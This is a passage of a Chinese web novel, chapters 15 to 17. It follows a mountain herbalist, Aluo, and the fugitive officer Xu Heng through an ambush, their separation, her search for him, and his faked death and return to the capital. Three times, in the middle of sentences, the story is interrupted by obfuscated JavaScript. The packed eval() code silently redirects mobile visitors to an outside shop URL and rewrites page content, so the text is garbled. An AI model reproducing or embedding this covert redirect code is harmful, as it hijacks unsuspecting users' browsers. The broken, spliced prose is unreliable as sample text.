与他同处一个屋檐下一个多月了,他是什么样的人她很清楚,他既然说这个玉佩值钱,那必定是很值钱的,价值可能远远超出她的认知,因此,她才不能收。 她在山里,吃穿都可以从山里获得,但是他呢,他在外面还有很多事情要多,需要用钱的地方,比她更多。 至于她,依靠着这片茫茫大山,她不会无处可去。 15. 第 15 章 天还没亮,阿萝就醒了。 她躺在草铺上,听着徐珩在另一侧均匀的呼吸声,心里忽然感叹或许以后再也听不到了。 她坐起身,轻手轻脚地将玉佩塞到他身下,转身添柴,把火重新烧旺。火光跳起来,照亮了屋子,徐珩动了动,睁开眼。 “醒了?”阿萝问。 “嗯,”徐珩揉了揉眼睛,“你怎么起这么早?” 阿萝没回答,她往陶罐里舀水,放在火上烧。水汽蒸腾起来,在晨光里泛着白雾。 “徐珩,”她背对着他开口,语气很严肃,“有件事,我想告诉你。” 徐珩坐起身,看着她,手却忽然摸到了什么。 是玉佩,她又还回来了,这个姑娘…… 水烧开了,阿萝把开水倒进两个粗陶碗里,递给他一碗。自己捧着另一碗,在火塘边坐下。 天气冷了,即便是烧着火,也总觉得四面开始漏风了。 “鹰嘴崖后面,”她慢慢说,“有个洞穴,是我爹娘以前采药时发现的,很隐蔽,从下面看不见入口。” 徐珩捧着碗,没说话,只是看着她。 “里面不大,但能住人。”阿萝继续说,“我每年秋天都会去一趟,放点粮食和药。有时候外出走太远了暂时回不来,我会在那儿歇脚。” 她顿了顿,眼睛扫过徐珩,又收回来,“如果……如果追兵来了,我们守不住这里,就去那儿。鹰嘴崖很陡,只有一条小路能上去,他们找不到的。” 所以那是她私人场所,是保护自己的最后退路,是她的秘密。 可是现在,她却愿意告诉他,甚至是亲自带他过去。这对于一个无依无靠的姑娘来说,是莫大的信任,也是极大的冒险。 徐珩沉默了片刻,然后问:“你想带我去看吗?” 阿萝点点头:“今天就去,认认路,万一……”万一追兵突然来,万一情况危急,他们得知道该往哪儿跑。 “好。”徐珩理解她未说完的话,“吃完早饭就去,如果可以,我们今天就直接搬过去,避过这段时间再说。”他把玉佩收起了,把两个人的床铺都收拾起来。 现在不是纠缠这件事的时候。 “好。”阿萝一点头,开始为两个人准备早饭。 早饭是粥和昨晚剩下的炖肉,两人吃得很快,收拾完碗筷,阿萝背上弓和箭囊,徐珩则带上她惯用的柴刀。 出门前,阿萝回头看了一眼屋子。 夯土墙,茅草顶,木门,小窗。 这个她独身住了五年多的地方,替她遮挡了五年的风雨。 她心里忽然涌起一种强烈的预感——这次离开,可能很久都回不来了。 “走吧。”徐珩在她身后轻声说。 阿萝转过身,点了点头。 两人一前一后出了门。 院子里晨雾未散,山林笼罩在一片乳白色的朦胧里,露水从树叶上滴落,声音很轻。 他们沿着熟悉的小路往鹰嘴崖走。 刚走出不到百步,阿萝忽然停下。 徐珩也跟着停下:“怎么了?” 阿萝示意他别说话,侧耳倾听,眉头渐渐蹙起。 见她如此,徐珩顿时高度警惕起来,很快发现了不对劲。 山林安静得出奇,没有鸟鸣,没有虫声,连风都停了。 只有一种极细微的、几乎听不见的声音——像是什么东西轻轻擦过草丛,像是什么野兽正在屏息靠近。 “回去,”阿萝猛地转身,声音压得很,“快!” 徐珩立刻反应过来,两人调头就往回跑。 与此同时,山林里忽然传来绳索猛然拉动和惨叫的声音,一声接着一声。 是人的声音,是昨日布置的陷阱! 追杀徐珩的人追来了! 两个人刚跑出几步,身后的林子里就传来了杂乱的动静。 “嗖!” 一支箭破空而来,擦着徐珩的耳边飞过,钉在前面的树干上。 然后是第二支,第三支。 箭矢如雨,从四面八方射来。 徐珩落后半步,用身体帮阿萝挡着身后的箭矢,护着她,两人伏低身体,快速退回院子。徐珩一脚踹上门,阿萝立刻落闩,顶上木闩。 “他们来了,”徐珩背靠着门板,喘着气,“比我们想的快。” 阿萝心跳如雷,脸色也变得苍白,但眼神却仍然镇定,她迅速扫视屋内:“后窗。” 两人冲到后窗边,阿萝推开窗板,正要往外看。 “砰!” 一支箭钉在窗框上,离她的脸只有一寸。 外面有人,被包围了! 徐珩一把抓住阿萝的肩膀将她往后拉,自己挡在她身前。 他透过窗缝往外看,只见林子里人影幢幢,至少有十几个人,正从各个方向围过来。 动作迅速,配合默契,是训练有素的军人。 不是赵虎那些地痞能比的。 “阿萝,”徐珩转身,双手按住她的肩膀,声音急促但清晰,“你听我说。” 阿萝仰脸看着他,眼睛睁得很大,像是怕错失什么。 “待会儿我把人往另一处引,你从后窗出去,往鹰嘴崖跑。”徐珩紧紧抓着她的肩膀,语速很快,“不要回头,不要管我,直接去那个洞穴,躲起来,知道吗?” “我不!”阿萝一手抓住他的手臂,另一只手握紧弓,“我可以……” “不,他们不是地痞流氓,你对付不了,”知道她要说什么的徐珩提前打断,“走!” 但是阿萝犯了轴,“要走一起走!” “走不了了阿萝!”徐珩打断她,严厉的语气里藏着说不尽的决绝,“他们人太多,我们两个一起跑,谁都跑不掉。你必须先走,我拖住他们,然后去找你。” 阿萝的眼泪瞬间就涌了上来:“你骗我!你根本就不会来!”她没想到自己会哭,她已经很久没有哭过了。 “我会!”徐珩盯着她的眼睛,一字一句,“我保证,只要我活着,一定去找你。但现在,你必须走!” 外面的脚步声越来越近,已经能听见刀剑出鞘的声音,和压低的口令声。 阿萝摇头,死死抓住他不放。 什么叫只要他还活着……她不要! “阿萝!”徐珩的声音软下来,带着恳求,“求你了,听我这一次。你留在这里,只会让我分心,你走了,我才能放手一搏,才有机会脱身。” 他捧住她的脸,拇指擦去她脸上的泪,凑得很近,几乎与她额头相抵,急促的气息全扑在她口鼻上,“相信我,好不好?” 阿萝看着他,看着他在危急关头依然镇定的眼神,看着他眼里的决绝和……温柔。 这不是商量,而是他早有的决断。 他早就想好了,若有万一,他会用性命为她争取最后的生路。 就像他说过的那样,他会用他的性命,保护她,可是那个时候,她只当他是随口胡说。 “好,”她终于点头,声音哽咽,“我信你。” 徐珩松了口气,他从怀里掏出那块玉佩,塞进她手里:“这个你拿着,如果……如果我没能去找你,你就……” “你会来的!”阿萝打断他,把玉佩紧紧握在手心,“你答应我的。” 徐珩闻言,冲她露出一个很淡的笑容:“嗯,我答应你。” 外面,有人开始撞门。 门板剧烈震动,木屑飞溅。 “走!”徐珩推了她一把,然后抄起凳子,甩向另一边,砸破了另一边的窗子,作出要突围而出的样子,将窗边的人引了过去。 阿萝最后看了他一眼,然后翻身从后窗跃出,身影迅速消失在屋后的林子里。 徐珩站在原地,听着她远去的脚步声。 然后,他转身,提起柴刀,走到门前,深吸一口气,猛地拉开门闩。 撞门的人猝不及防,跌扑进来,徐珩眼睛都不曾眨一下,便挥刀迎了上去。 刀光血影,厮杀声起。 而荒凉冷寂的山林深处,阿萝在全力狂奔。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278107|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 泪水模糊了视线,但她不敢停下来。耳边是呼啸的风声,和越来越远的打斗声。 鹰嘴崖在晨雾中若隐若现。 她咬紧牙关,朝着那个方向,拼命奔跑,心里只有一个念头——徐珩,你要活着。 你一定要活着,然后,来找我。 而与此同时,院子里。 徐珩背靠着屋墙,手里的柴刀染满了血。地上倒了四五个人,但还有七八个围着他。 他的左臂中了一箭,腿上也被砍了一刀,鲜血直流,呼吸粗重,视线开始模糊。 周厉站在人群后,冷眼看着他,“六公子,还挺厉害,折损我们那么多人……”他们找了那么久,都以为他早就葬身鱼腹了,没想到他竟然藏在山里。更让他们没想到的是,他不仅活得好好的,还预先设下了陷阱。他们猝不及防,一下子折了十来个人。 徐珩仍在强撑着。 “何必呢?为了一个山野女子,值得吗?”周厉不解,从一开始交手,他就看出徐珩在拼命保那个女人。想来,他能活下来,是那个女人的功劳。 一个多月过去了,若是……那个女人怀了他的种了怎么办?斩草除根,才能永绝后患啊。 可惜那个女人跑得太快了,一下子就蹿远了,他们根本追不上。 都这个时候了,还能给他找麻烦! 徐珩扯了扯嘴角,没说话。他只是握紧了刀,盯着周厉。 “拿下。”周厉下令,剩下的人一拥而上。 徐珩挥刀迎击,但伤势太重,动作慢了。一刀砍空,另一刀从侧面劈来,他躲闪不及,被狠狠砍在背上。 剧痛传来,他闷哼一声,单膝跪地,眼前发黑。但他咬着牙,撑着刀,又站了起来。 不能倒。 阿萝还没跑远。 他得多撑一会儿,再撑一会儿。 又一刀劈来,徐珩格挡,但力气不济,刀被震飞。他踉跄着后退,撞在墙上。 几个人扑上来,按住他。 徐珩挣扎着,但无济于事。他被死死按在地上,脸贴着冰冷的泥土。 周厉走过来,蹲下身,看着他。 “何必呢?”他又问了一遍,“乖乖跟我们回去,说不定还能留条命。” 徐珩抬起头,嘴角渗出血,但眼神依然冷厉,“做梦。” 周厉嘿嘿一笑,站起身:“带走。”至于跑掉的那个女人…… 周厉望着茫茫群山,一时间泄了气。 徐珩被拖起来,捆住双手,几个人架着他,往山下走。 每走一步,伤口都疼得像要裂开,但他没吭声。他只是回头,看了一眼那座屋子,看了一眼屋后山林的方向,心里猛然一痛。 阿萝,对不起。 我可能要……食言了。 可是……他不甘心! 他闭上眼睛,把所有的力气,所有的希望,都压在心里那个念头上——活下去。 然后,回来找她。 一定。 山林深处,阿萝终于爬上了鹰嘴崖。 她拨开藤蔓,钻进洞穴,然后瘫坐在地上,大口喘气。 心跳如擂鼓,胸腔鼓胀得几乎要炸开,汗水湿透了衣裳。 她爬回洞口,小心翼翼地从石缝往外看。 山下一片寂静。 没有追兵,没有厮杀声,什么都没有。只有晨雾缭绕,山林沉默。 她等了很久。 从清晨等到正午,从日光当空等到阴影斜长。 徐珩一直没有出现。 洞穴里很冷,岩壁渗着水珠。阿萝蜷缩在角落里,用鹿皮坎肩裹紧自己。 她握着那块玉佩,温润的玉石贴着她的掌心。 上面似乎还残留着徐珩的体温。 她闭上眼睛,把脸埋进膝盖里,泪水终于忍不住,汹涌而出。 窗外,太阳渐渐西沉,暮色笼罩山林。 而那个答应会来找她的人,始终没有来。 只有山风呼啸,像呜咽,也像告别。 16. 第 16 章 阿萝在洞穴里等到第三天,火堆添了七次柴,将储存的柴火都用完了。 洞口的光暗了又亮,亮了又暗。 她望眼欲穿,而徐珩,始终没有来。 没办法继续枯等下去了,她背起药篓下山。山路湿滑,但是她走得很快,快到能听见自己心跳的声音,“咚咚咚”,像在催促什么。 冷冽的晨雾呼吸进肺里,冷得她心口疼。 老宅出现在视线里时,她的脚步停了。 门板歪斜地挂在门框上,像被人强行破开的。徐珩新补的窗棂全部折断,碎木屑散在窗台下。院子里有七八处深褐色的污渍,已经渗进泥土里,在晨光里泛着暗沉的光。 是血。 阿萝慢慢走过去,蹲下身。泥土被踩得乱七八糟,至少有五六个人的脚印。她伸出发颤的指尖,轻轻碰了碰其中一处污渍,干了,但还能闻到铁锈似的腥气。 没有尸体。 她揪成一团的心稍稍平复,站起身,沿着血迹往屋外走。血迹断断续续,像受伤的野兽一路滴落的。血迹从屋内,一直延伸到林间小路。 路边的岩石上有新的刮痕,青苔被蹭掉了一大片,几丛野草朝下游方向倒伏,像是有什么重物从这里滚下去,或者被拖下去。 阿萝的心不由得又揪了起来。 她沿着山路往前走,之前布置的陷阱全部被触发,血迹斑斑。她知道,是他们布置的陷阱起作用了,只是尸体被人处理了。 可惜,他们来的人太多了,陷阱没办法全部拦住。 徐珩……侯府……那究竟是怎样的存在?为了追一个极有可能已经死了的人,居然坚持这么久,派出这么多人。 她一直往前走,到一条小溪边时,看到溪边的草丛乱得很奇怪,有些被踩烂,有些则被压倒,有些是被齐齐切断的,还有一些血迹,像是……又是一番打斗。 痕迹指向了下游。 她沿着溪岸往下游走,溪水哗哗地流,声音很响,盖过了林子里所有的鸟鸣虫叫。 走了约莫三里,在一处水流稍缓的浅滩,她看见一小片深色布料,卡在碎石缝里,被水冲得一荡一荡的。 她将背篓放下,挽起裤腿,涉过已经冰冷刺骨的水,捡起来。 看清楚是什么东西时,她只觉得鼻子一酸。 是徐珩外衣的料子,靛青色粗布,边缘整齐,一看就知道是被利刃划开的。布料还湿着,沉甸甸的,上面有暗红色的血迹,在水里泡得发淡了,但还在。 她握着那片布,站在溪水里,水没过脚踝,刺骨的凉意直冲心房。 她吸吸鼻子,呼出一口气,回到岸上穿上鞋,继续往下游走。 第五天中午,她走到了溪水汇入大河的地方。河面一下子开阔起来,水流湍急,打着旋往下游奔去。 岸边有几个渔夫在补网,看见她,停了手里的活。 “姑娘,找什么呢?”一个老渔夫问。 阿萝走过去,声音有些哑,也不知道是要生病了还是太久没休息了,“老人家,这几天……有没有看见一个受伤的男人?大概这么高,穿着深色衣裳。” 她边说边比划,老渔夫眯起眼想了想,随即摇头:“受伤的没见着,不过前两日,上游漂下来几件破衣裳,就卡在那块石头后面。”他指了指不远处一块凸出水面的巨石,“沾着血,怪吓人的,我们还嘀咕,是不是山里死人了。” “衣裳呢?”阿萝呼吸一窒。 “早冲走了,”老渔夫摆摆手,“这河水急,昨儿个下过雨,更急。别说几件衣裳,就是个人掉下去,也留不住。” 阿萝谢过他,走到那块巨石边,石头上确实有被什么东西擦过的痕迹,还有几缕极细的纤丝,缠在石缝里。 她蹲下身,一根一根捡起来。靛青色的,和手里那片布一样。 站起来时,眼前黑了一瞬。她扶住石头,等那阵眩晕过去。 河风很大,吹得她头发乱飞。她看着冰凉又汹涌的河水,看着它一刻不停地往东流,流向她完全不知道的远方。 如果徐珩掉下去了…… 如果伤得那么重…… 如果…… 一浪又一浪的冰冷和痛苦,几乎将她淹没。她转过身,往回走,脚步比来时重了很多。 回山的路上,她绕去旧屋,想取剩下的粮食。 刚走到院子外的林子边,就听见里面传来赵虎的声音:“他娘的,那贱人肯定还藏了东西!给老子仔细搜!” 阿萝立刻蹲下身,藏在灌木后面。透过枝叶缝隙,她看见赵虎带着三个人,正在屋里翻箱倒柜。灶台上的陶罐被摔在地上,碎了,她晒的药材撒了一地,被那些人踩来踩去。 “虎哥,真没人,,东西也搜过了,就剩这些破烂。” “破烂?”赵虎啐了一口,“那贱人采药换了不少钱,肯定藏起来了。再找!水缸底,墙缝里,都给老子撬开!” 阿萝悄悄后退,转身钻进更深的山林。 她缩在林子里的一块巨石后面,一动不动地待着直躲到天黑,等月亮升起来,她才站起来,悄悄摸回旧屋。 赵虎的人已经走了,屋里一片狼藉,比她早上离开时更乱。柜子被推倒了,架子横在中间,水缸被砸碎了,几乎所有能用的东西都被毁坏一空,甚至墙角的几块石头也被撬了起来——那是她藏铜钱的地方,现在空了。 她点起半盏油灯,借着微弱的光,快速收拾能用的东西:被踩脏的兽皮,被丢在角落的旧衣服,还能用了锅碗瓢盆,灶台角落里还剩半罐盐,墙上的备用柴刀还在,药架上还有几包没被踩烂的草药。 背篓装满,她站在屋子中央,最后看了一圈。 夯土墙,茅草顶,歪斜的门,破掉的窗,徐珩用过的木杖。 过去独居五年的记忆一闪而过,最近的一段日子却绵长而浓墨重彩。 她在院子里站了很久很久,直到全身发冷。她才转身,背着背篓,走进黑暗的山林。 接下来的二十天,阿萝以鹰嘴崖为圆点,一圈一圈往外找。 她去了所有他们一起去过的地方:采药的山谷,徐珩练习射箭的那片空地,他们躲过雨的岩洞。 也去了所有他可能去的地方:上游的黑熊岭,下游更远的几个村子,甚至沿着官道走了三十里,去了一个叫老鸦集的驿站。 但是都没有他的踪影,只有越来越多的坏消息。 在离山五十里的一个茶摊,她听两个歇脚的货郎说:“听说山里死了个当兵的?” “可不是!一队官爷抬出来的,白布裹得严严实实。我远远瞥了一眼,那白布底下……渗着血呢。” 她手里的粗陶碗差点掉地上。 “什么时候的事?”她问,声音努力压平,装成一个路过的好奇的、无关紧要的人,脑子里飞快地想着万一被追问该说什么。 “七八天前吧,”货郎打量她,“姑娘,你打听这个做甚?” “我……我哥哥在山里打猎,好几天没回来了。”刚刚想到的说辞,说出来不怎么笃定。 货郎眼里立刻浮现出同情,“哎哟,那你快去报官吧,这几天山里不太平,又是逃犯又是死人的……” 她没听完,放下两文茶钱,起身走了。 脚步很快,像在逃。 第二十五天,她做了此生最冒险的决定:去军营。 她打听到是离这儿的是八十里外的一处驻军哨所,建在半山腰,有很多兵爷,其中大多数都是外地来的,时间跟徐珩一样。 她当然知道危险。 一个孤身女子靠近军营,里面都是带刀带剑的汉子,极有可能被欺辱,可能根本连话都说不上就被赶走。 但她还是去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282886|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天没亮就出发,走到哨所外时,已是下午。她躲在林子边,从树缝里往外看。 哨所不大,土坯墙,木栅门。门口站着两个持矛的哨兵,一动不动。里面传来操练的呼喝声,整齐划一,带着杀气。 她等了一个时辰,看着士兵列队、解散、吃饭、换岗。 太阳西斜时,一个军官模样的人从里面走出来,腰佩长剑,身形挺拔,侧脸在夕阳里有些模糊。 阿萝的心猛地一跳,往前迈了半步,又停住。 那人转过身,是一张完全陌生的脸,三十来岁,脸颊有刀疤,眼神锐利。 不是他。 她退回来,背靠着树干,慢慢滑坐在地上。 天快黑时,她终于鼓起勇气,走到哨所大门三十步外的地方,哨兵立刻举起长矛:“站住!什么人?” “我……我找人,”她的声音在发抖,不知是累还是怕,“找徐珩,徐校尉。”好像是这个称呼。 哨兵愣了一下,上下打量她。那眼神让她想起赵虎,想起那些不怀好意的目光。 “你是什么人?”哨兵问,语气缓和了些。 “我是他……家里人。”她说出这三个字时,喉咙发紧。 哨兵的脸色变了变,他左右看看,压低声音:“姑娘,你回去吧,徐校尉……已经不在了。” “不在了是什么意思?”她脑子懵懵的,只能听见自己的声音很轻,像飘在空中。 “就是死了,”哨兵别开视线,不敢看她,“阵亡,朝廷都发了抚恤了,你……节哀。” 阿萝站在原地,没动。 晚风吹过来,扬起她的头发和破旧的衣角,入冬的风很凉,但她感觉不到。 很久,她才听见自己说:“……谢谢。” 声音很轻,被风吹散了。 她转身,沿着来时的路往回走。脚步很慢,一步一步,像踩在棉花上。 月亮升起来了,照着她孤单的影子。 第三十天,阿萝回到了鹰嘴崖。 洞穴里一切如旧,岩壁还在渗水,地上铺的干草有些潮了,她储存的粮食还剩小半袋。 她放下背篓,坐在洞口那块平整的石头上。 夕阳正沉下去,整片山林被染成金红色,又慢慢变成紫灰色。鸟群归巢的叫声很热闹,远处还有不知名的野兽在嚎。 她看着,看着,忽然觉得眼睛很涩。 抬手揉了揉,才发现指尖是湿的。 她没哭出声,只是安静地坐着,任由眼泪往下淌。一滴,一滴,砸在石头上,很快被风吹干。 哭完了,她站起身,开始收拾洞穴。 把徐珩用过的那套碗筷从角落里找出来,洗净,用布包好,塞进岩缝最深处。 然后,她拿出那个油布包,打开,里面是玉佩,是碎布,是这三十天里她找到的所有关于他的痕迹。 玉佩温润,在暮色里泛着淡淡的光。碎布已经干了,血迹变成深褐色。 她看了很久,然后,重新包好,塞进岩缝最深的角落,用石头堵上。 像把一颗种子埋进冻土,等待不知是否还会到来的春天。也可能,永远不会发芽了。 做完这些,她生起火,煮了一锅很稀的粥。米放得少,水放得多,煮出来清清淡淡的。 她盛了一碗,坐在火堆边,慢慢喝,一口一口的,像是在完成某种仪式,像是在告诉自己:从今天起,吃饭,睡觉,采药,活下去。 都只是她一个人的事了。 喝完,她躺下,裹紧兽皮。 洞穴里很静,只有洞外的风声和不知从哪里传来的鸟兽声,以及岩壁渗水的水滴声。 一滴,一滴,像时间在走,也像什么东西在消失。 窗外,山月无声。 而那个答应会回来的人,再也没有回来。 17. 第 17 章 徐珩在冰冷的河水里醒来时,天已经黑了。 他趴在浅滩上,半边身子还浸在水里。背上的刀伤好像已经麻木了,但是一动,就带着撕裂的疼,左腿中箭的地方已经起了炎症,臂上的伤口开始泛白。 他记得自己跳下断崖时,周厉的箭追着他射。记得冰冷的河水吞没他的瞬间,脑子里闪过的最后一个念头是——阿萝…… 他以为,他再也见不到她了…… 还好,他的命足够硬,阿萝也说过他命硬。 他用还能动的右手,一点点爬上岸。每动一下,伤口都像有火在烧。爬到一块岩石后,他瘫在地上,望着头顶的星空,大口喘气。 星星很亮,像她的眼睛。 她是不是在等他? 肯定是的。 可她会等他多久?会一直等吗? 会的,她答应等,就会等,她是个做的比说的多得多的人。 可是现在,他好想去见她啊,想得发疯。想见她的笑,想听她说话,想再尝一口她煮的野菜粥,但是,他不能去。 周厉的人可能还在搜山,他这副模样,别说保护她,连自己都护不住。去找她,只会把追兵引过去。 相反,只要没有他拖累,凭着阿萝对山林的熟悉,周厉那群人,就算踏破铁鞋,也休想找到她的踪迹。 已经没有力气了的徐珩在岩石后躺了一夜,没了阿萝的庇护,夜里的风一阵一阵扑在他身上。 后半夜他发起高烧,身子时冷时热。冷的时候,牙齿打颤,浑身哆嗦,像掉进了冰窖;热的时候,又燥得厉害,喉咙干得冒火,恨不得一头扎回溪水里。 昏沉间,他总看见阿萝的脸。看见她蹲在篝火边,眼圈红红的,说,徐珩,你答应我的。看见她伸出手,指尖快要触到他的脸颊,却又倏地消失。 他想抓住她,想喊她的名字,可喉咙里像是堵了一团棉花,发不出半点声音。 天亮时,烧退了点。他咬牙坐起来,从怀里摸出那个小油纸包,那是阿萝以前给他的止血药粉,他一直贴身带着。 药粉被水泡湿了,结成块。他抠下来,捏碎撒在伤口上。刺痛让他眼前发黑,但他没停,把背上、腿上、肩上的伤口都处理了一遍。 然后撕下还算干净的衣襟,胡乱包扎。 做完这些,他靠在岩石上,望着东边的天空。太阳正一点点爬上来,金色的光穿过晨雾,落在他脸上,暖洋洋的。 他想起了阿萝对付赵虎的方法,要事先准备,不硬拼,找弱点。 周厉的弱点是什么? 周厉是侯府的心腹,这次来杀他,是奉了侯府的密令,不能大张旗鼓。他带着的人不会太多,围攻他们时应该就是所有人了,否则容易被有心之人觉察。 其次,他拖不起,侯府那帮人都不是什么有耐心的人,一个多月应该临近极限了。 最重要的是,他必须带回自己的“死讯”,才能向侯府交差,才能领赏。 没有“死讯”,周厉不敢回京。 徐珩扯了扯嘴角,淡淡的笑容里却带着山野间淬出来的血性与狠厉。 好。 那他就给他们一个“死讯”。 为了替周厉完成这个任务,徐珩在溪边待了三天。 首先,他把身上那件残破的上衣脱下来,撕成几块。最大的一块,他用指尖蘸着伤口的血,在上面抹了几道,然后用力扔进一处急流,看着它被浪花卷着,往下游漂去。剩下的布条,他分别系在上下游的树枝上,卡在溪中间的石缝里,做足了仓皇逃窜、失足落水的假象。 然后,他拄着一根捡来的粗树枝,沿着溪岸往下游走。专挑难走的路,踩着湿滑的青苔,攀着陡峭的崖壁。每到一个岔口,他就故意留下痕迹,折断指向相反方向的树枝,在泥地上踩出几个浅浅的脚印,甚至在光滑的石头上,用力挤出几滴血珠。 做完这一切,他调转方向,朝着与溪水完全相反的方向,一步一步,往更深的山林里去。 最后,他爬到一处陡坡上,看着下面搜山的人影。 五个人,牵着猎犬,正沿着溪岸搜索。猎犬停在他扔衣服的地方狂吠,周厉蹲下身查看,然后挥手,继续往下游。 徐珩趴在岩石后,等他们走远。他低头看了一眼掌心的血痕,又抬头,望向熟悉的方向。 那里云雾缭绕,青山叠翠,看不真切。 阿萝。 他在心里默念着这个名字,心里一阵一阵揪紧。 请再等等,等我扫清了那些豺狼,等我能堂堂正正地站在你面前,我就回来。 一定。 七天后,徐珩走到了白石镇。 白石镇并不算远,但是他全身都是伤,实在是走不动。 走到那里时,他身上的伤口开始结痂,不再流血,却依旧疼得钻心,走路一瘸一拐的。脸色苍白得像纸,下巴上冒出密密麻麻的胡茬,遮住了原本的下颌线。 身上穿着一身从废弃茅屋找来的破旧粗布衣裳,沾满了泥污和草屑,头发乱蓬蓬的,像个逃荒的流民。 他没去医馆,周厉的眼线,说不定就藏在医馆里,等着一个身负箭伤刀伤的校尉自投罗网。 他沿着街边的屋檐,一步步挪到镇东头的铁匠铺。 铺子里的炉火正旺,橘红色的火苗舔着锅底,发出呼呼的声响。一个有点瘸腿的铁匠,正弓着背,抡着锤子打一把锄头。锤子落下,火星四溅,落在他的头发上,烫出一个个小黑点。 徐珩站在门口,没说话,等铁匠打完一锤,把锤子搁在铁砧上,擦汗的间隙,他才开口:“老秦。” 铁匠抬起头,眯着眼看他。看了很久,手里的锤子“哐当”掉在地上,见鬼一样看着他,“徐……徐校尉?” “是我。”徐珩点点头,抬脚走进铺子里,在炉边的小矮凳上坐下。凳子被炉火烤得发烫,熨着他冰凉的身子。 老秦连忙将他带进里屋,关上门,又凑到窗边往外看,然后才走回来,压低声音:“军中都说你死了!听说侯府报了殉国,抚恤都发了!” “我知道,”徐珩说,“老秦,我需要帮忙。” “你说!” “第一,给我弄身干净衣裳,普通的,越不起眼越好。”徐珩掰着手指,一条一条说,“第二,给我弄点干粮和金疮药,要最好的。第三……”他顿了顿,从怀里掏出一块捡来的破布,还有一截烧黑的木炭,“帮我送封信。” 破布上,用炭笔写着两行字,字迹歪歪扭扭,却力透纸背:“夫子未死,困于棘丛。需钩索一把,十日为期,老地方。” “夫子”是徐珩刚入军中时大家浑叫的绰号,笑话他从军了,还一副读书人做派,“钩索”是暗语,指能帮他脱身的人手和消息,“老地方”,是京郊那座废弃的土地庙,是他当年和几个兄弟约定从军的地方。 秦铁匠不识字,但郑重地把破布叠好,塞进怀里:“校尉放心,一定送到。” “小心,”徐珩说,“如果发现有人盯梢,信毁了就行,别硬来。” “明白。” “还有……” “你说。” “帮我教训一个人,至少让他再不能外出祸害别人。”这是他目前最担心的事,来的路上他盘算了许久,只能这样处理了。 ”好。” 安排完这边事情,徐珩大致给自己处理了身上的伤,歇息了一天,身体恢复了些,就启程往京城去。 他不敢一直沿着大路走,更不敢骑马坐车招摇过市,因此到京城时,已经是年后了。 但是处在北方的京城,仍然笼罩在寒冬之中,而温暖的南方大山,或许已经春回大地了。 土地庙荒废多年,屋顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291355|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塌了大半,神像也倒在地上,落满了灰尘。徐珩找了个避风的角落坐下,靠着冰冷的墙壁,闭上眼睛。 他等了一天一夜。 夜风渐起,吹得庙门吱呀作响。月光透过残破的屋顶,洒在地上,映出满地的碎石和枯草。三更天的时候,庙外传来一阵极轻的脚步声。 徐珩猛地睁开眼,手按在腰间,握住临别时老秦给他的短刀。 脚步声停在门口,一个熟悉的声音压低了嗓子,轻轻喊:“夫子?” 徐珩松了口气。 早就收到消息的方粮官推门进来,背着一个沉甸甸的包袱。月光落在他脸上,能看见他泛红的眼眶。他快步走到徐珩面前,上下打量着他,半晌才哽咽道:“你真还活着……我还以为……” “没死成。”徐珩扯了扯嘴角,想笑,却笑不出来。 “你真还活着!”方粮官压低声音,眼眶发红,“侯府报了殉国,你兄长顶了你的军功,升了昭武校尉,现在在兵部走动……” “先不说这些,”徐珩打断他,“先说要紧的,第一,我娘的消息。” “还在偏院生活,有人看着。瘦了很多,但身体尚可。” 徐珩的心揪了一下,但面上不动声色:“第二,我要知道这几个月,侯府和军中有什么动静,特别是……我那位兄长。” 方粮官接着刚才的话说了很多:嫡兄如何走动关系,如何拉拢同僚,如何想谋实缺。还有侯府那些见不得光的勾当——田产贪墨,商铺走私,军饷克扣。 有些消息,还是徐珩还在京城时就掌握的,只是没打算用。 徐珩静静听着,手指无意识地在地上画着圈。脑子里却没有嫡兄那张虚伪的脸,没有侯府的金银财宝,只有阿萝。 想她是怎么分析猎物的:看脚印,看粪便,看领地的边界。 他现在也在分析“猎物”,只不过这次的猎物,是他的亲兄长,是整个腐烂的侯府。 “第三,”徐珩说,“帮我联系三个人。” 他报了三个名字:王疤子,北境退下来的老卒,儿子死在战场上,抚恤被克扣过半;李酸儒,刑部管档案的文书,受过他一次恩,妹妹曾被侯府旁支欺辱,被他救了;泥鳅孙,城南乞儿的头儿,他救过他的命。 方粮官倒吸一口凉气:“校尉,你这是要……” “打草惊蛇,抓其七寸。”徐珩说。 他用树枝在地上画,像阿萝在沙地上画陷阱布局:“王疤子知道军中哪些人在贪腐,李酸儒曾管理过侯府的底档,泥鳅孙……他手下的乞丐,是京城最好的耳目。” 方粮官看着地上的线条,看着徐珩眼底的光,理解了他的打算。 徐珩不是要硬碰硬,他是要布一个局,把侯府那些见不得光的勾当,全都翻出来,晒在太阳底下,“你要收集把柄?” 